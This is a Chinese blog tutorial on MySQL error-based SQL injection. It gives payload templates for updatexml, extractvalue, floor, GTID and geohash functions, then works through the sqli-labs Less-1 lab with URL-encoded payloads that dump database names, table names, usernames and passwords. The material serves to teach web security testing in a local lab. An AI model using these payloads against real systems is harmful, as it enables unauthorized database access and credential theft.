sql注入及案例

最新推荐文章于 2024-03-10 08:57:42 发布
最新推荐文章于 2024-03-10 08:57:42 发布
阅读量210 收藏
点赞数
文章标签： sql 数据库
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Suexiao7/article/details/132678119
版权

目录

1.报错注入七大常用函数

1)ST_LatFromGeoHash (mysql>=5.7.x)

2)ST_LongFromGeoHash （mysql>=5.7.x）

3)GTID  (MySQL >= 5.6.X - 显错<=200)

3.1 GTID

3.2 函数详解 

3.3 注入过程( payload ) 

4)ST_Pointfromgeohash (mysql>=5.7)

5)floor（8.x>mysql>5.0）

6)extractvalue

7)updatexml

2.案例一

1）代码

2）查看在那个数据库里面

3）查看有多少列 

4）查看用户名和密码

 5）截取数据库的表名

1.报错注入七大常用函数


1)ST_LatFromGeoHash (mysql>=5.7.x)


and ST_LatFromGeoHash(concat(0x7e,(),0x7e))--+

2)ST_LongFromGeoHash （mysql>=5.7.x）


and ST_LongFromGeoHash(concat(0x7e,(),0x7e))--+

3)GTID  (MySQL >= 5.6.X - 显错<=200)


3.1 GTID


GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符，GTID不仅在本服务器上是唯一的，其在复制拓扑中也是唯一的
GTID_SUBSET() 和 GTID_SUBTRACT()函数

3.2 函数详解 


GTID_SUBSET() 和 GTID_SUBTRACT() 函数，我们知道他的输入值是 GTIDset ，当输入有误时，就会报错。
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID，也在 set2 中，返回 true，否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中，不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

3.3 注入过程( payload ) 


GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
 
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

4)ST_Pointfromgeohash (mysql>=5.7)


or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)--+

5)floor（8.x>mysql>5.0）


or (select 1 from (select count(*),concat(0x7e,(),0x7e,floor(rand(0) * 2))x from information_schema.tables group by x)a)--+

6)extractvalue


and extractvalue(1,concat(0x7e,())) --+一共可以接收两个参数，报错位置在第二个参数

7)updatexml


 and updatexml(1,concat(0x7e,(),0x7e),1) --+一共可以接收三个参数，报错位置在第二个参数.

2.案例一


1）代码


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
</font> </div></br></br></br><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

2）查看在那个数据库里面


http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)--+http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20user()),0x7e),1)--+

3）查看有多少列 


http://127.0.0.1/sqllabc/Less-1/?id=1%27%20order%20by%203--+

4）查看用户名和密码


http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users),0x7e),1)--+

 由于报错，子查询超过一行，需要修改的结果如下：

http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20concat(username,0x3a,password)from%20users%20limit%200,1),0x7e),1)--+

 5）截取数据库的表名


http://127.0.0.1/sqllabc/Less-1/?id=1%27%20and%20updatexml(1,substring((concat(0x7e,(select%20group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e)),1,32),1)--+

Suexiao7
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入绕过实战案例
08-31
SQL sqli-labs-master 靶场搭建
SQL注入
CDLittleBoy的博客
05-07 2193
1、SQL注入最简单的原理代码 $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ​ 注入点在于’id′，id'，id′，id为接收传参的变量，基本思路是在传参中闭合前面的单引号，注释掉后面的单引号。 2、查找注入点的办法 ?id=1' #添加单引号就行传参闭合 ?id=1' [or/and] '1=2 #使用逻辑与或者逻辑或，判断where注入条件 3、常用注释符号 # --+ #URL解码后，“+”被解码为“
Sql注入示例
我想我是海 冬天的大海 心情随风轻摆
05-19 1207
Sql注入是我们经常听说的，具体极大的风险性，下面给一个比较直观的示例：
SQL注入漏洞原理及注入示例
最新发布
m0_62480631的博客
03-10 1696
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询等操作。用户可以修改参数或数据，传递给服务端，导致服务端拼接了伪造的SQL查询语句，并将伪造的SQL语句发送给数据库服务端执行，数据库将SQL语句的执行结果，返回给服务端，服务端又将结果返回给客户端，从而获取到敏感信息，甚至危险的代码或系统指令。
sql各种注入案例
m0_69435261的博客
09-01 4617
GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID，也在 set2 中，返回 true，否则返回 false ( set1 是 set2 的子集)GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中，不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)GTID_SUBSET() 和 GTID_SUBTRACT() 函数，我们知道他的输入值是 GTIDset ，当输入有误时，就会报错。GTID_SUBSET函数。
SQL注入案例演示与防范措施大全
热门推荐
乱世刀疤
02-26 1万+
SQL注入攻击案例与应对措施。
一文带你学习SQL注入
大河之犬的博客
12-21 5289
但需要注意的是，存储过程中也可能会存在注入问题，因此应该尽量避免在存储过程内使用动态的SQL语句。如果无法避免，则应该使用严格的输入过滤或者是编码函数来处理用户的输入数据。下面是一个在Java中调用存储过程的例子，其中。
sql注入网站源码
04-09
挺好的带有sql注入漏洞的asp网站源码，可以自行搭建环境。
SQL注入漏洞过程实例及解决方案
09-08
主要介绍了SQL注入漏洞过程实例及解决方案,文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
实例讲解SQL注入攻击
02-26
“SQL注入”是一种利用未过滤/未审核用户输入的攻击方法（“缓存溢出”和这个不同），意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们，就会造成一些出人意料的结果。本...
SpringBoot集成Mybatis实现简单的SQL注入（攻击）案例
12-14
（1）主演示就是一张t_user表，利用常见的用户登录来模拟sql注入对后台数据的侵入 （2）数据库脚本 — postgresql DROP TABLE IF EXISTS "public"."t_user"; CREATE TABLE "public"."t_user" ( "id" int8 NOT ...
JAVA- SQL注入案例（黑马程序员）和避免 超级详细
meini32的博客
08-01 1779
SQL 注入（SQL Injection）是一种常见的网络攻击技术，它利用应用程序没有正确过滤用户输入的数据，将恶意的 SQL 代码注入到应用程序中执行，从而导致应用程序的安全性受到威胁。通过一段字符串（伪造的sql代码）与真的代码进行拼接使整个 SQL语句的条件判断永远为真，从而绕过了应用程序的身份验证机制，获取了用户的数据。应用程序需要对用户输入的数据进行正确的验证和过滤！-概括：拼字符串导致分不清参数和执行的关键字！PreparedStatement接口。输入正确的用户名和密码=登录成功。
SQL 注入攻击介绍与测试案例
你若盛开，蜜蜂自来
01-25 8433
博主声明： 转载请在开头附加本文链接及作者信息，并标记为转载。本文由博主威威喵原创，请多支持与指教。 本文首发于此 博主：威威喵|博客主页：https://blog.csdn.net/smile_running SQL注入攻击 SQL 注入是利用某些系统没有对用户输入的数据进行充分的检查，而在用户输入数据中注入非法的 SQL 语句段或命令，从而利用系统的 ...
SQL注入各种注入原理|绕过技巧|带实例详解|
BING
03-19 7617
Union（联合）注入攻击详解、 字符型union注入、Boolean（布尔盲注）注入攻击详解、报错注入攻击详解（报错注入只显示一条结果，通常要使用limit）、时间注入攻击、堆叠查询注入攻击、二次注入攻击、宽字节注入攻击、cookie注入攻击、base64注入攻击、XFF注入攻击、SQL注入绕过技术、sql注入修复建议
SQL注入案例及原理
QYbkx974的博客
11-06 414
updatexml(1,concat(0x5e,(select username from cms_users limit 0,1),0x5e),1)//查询username表中第一个用户名。使用bp抓包查看，可以发现登录包为POST请求，而且可以看到我们刚刚输入的用户名和密码，以及请求回显为200。使用bp抓包查看，POST请求包中输入的用户名所包含的特殊字符变成了URL编码，%27为。查询cms_users表的信息，发现有两个用户，这里显示的是第一个用户。所获取的是数字类型，不是字符串类型。
关于SQL的各种注入
qq_73607577的博客
03-24 1568
SQL注入
JAVA代码审计之SQL注入，基于Spring boot和jdbc以及mybatis
GXcodes的博客
08-02 2317
本节讲述JavaWeb代码审计中存在SQL注入漏洞的情况。基于spring boot，mysql，两种连接方式：jdbc和mybatis。代码比较多，适合自己创建项目，跟着走一遍，如果只想了解原理，可以忽略代码，只看大概即可。比如Controller类或者sql语句的编写。SQL注入漏洞是对数据库进行的一种攻击方式。其主要形成方式是在数据交互中，前端数据通过后台在对数据库进行操作时，由于没有做好安全防护，导致攻击者将恶意代码拼接到请求参数中，被当做SQL语句的一部分进行执行，最终导致数据库被攻击。
网络安全必学的SQL注入
瓦罗兰特顶级C位的博客
03-24 599
要学会如何防御SQL注入，首先我们要学习它的原理。
【网络安全】SQL注入详解
2301_77160226的博客
04-27 2549
SQL注入是比较常见的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编写时的疏忽，通过SQL语句，实现无账号登录，甚至篡改数据库。
java sql注入案例
06-13
下面是一个简单的Java SQL注入案例： 假设有一个使用JDBC连接数据库的Java程序，其中一个查询用户信息的方法如下： ``` public User getUser(String username, String password) throws SQLException { String ...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值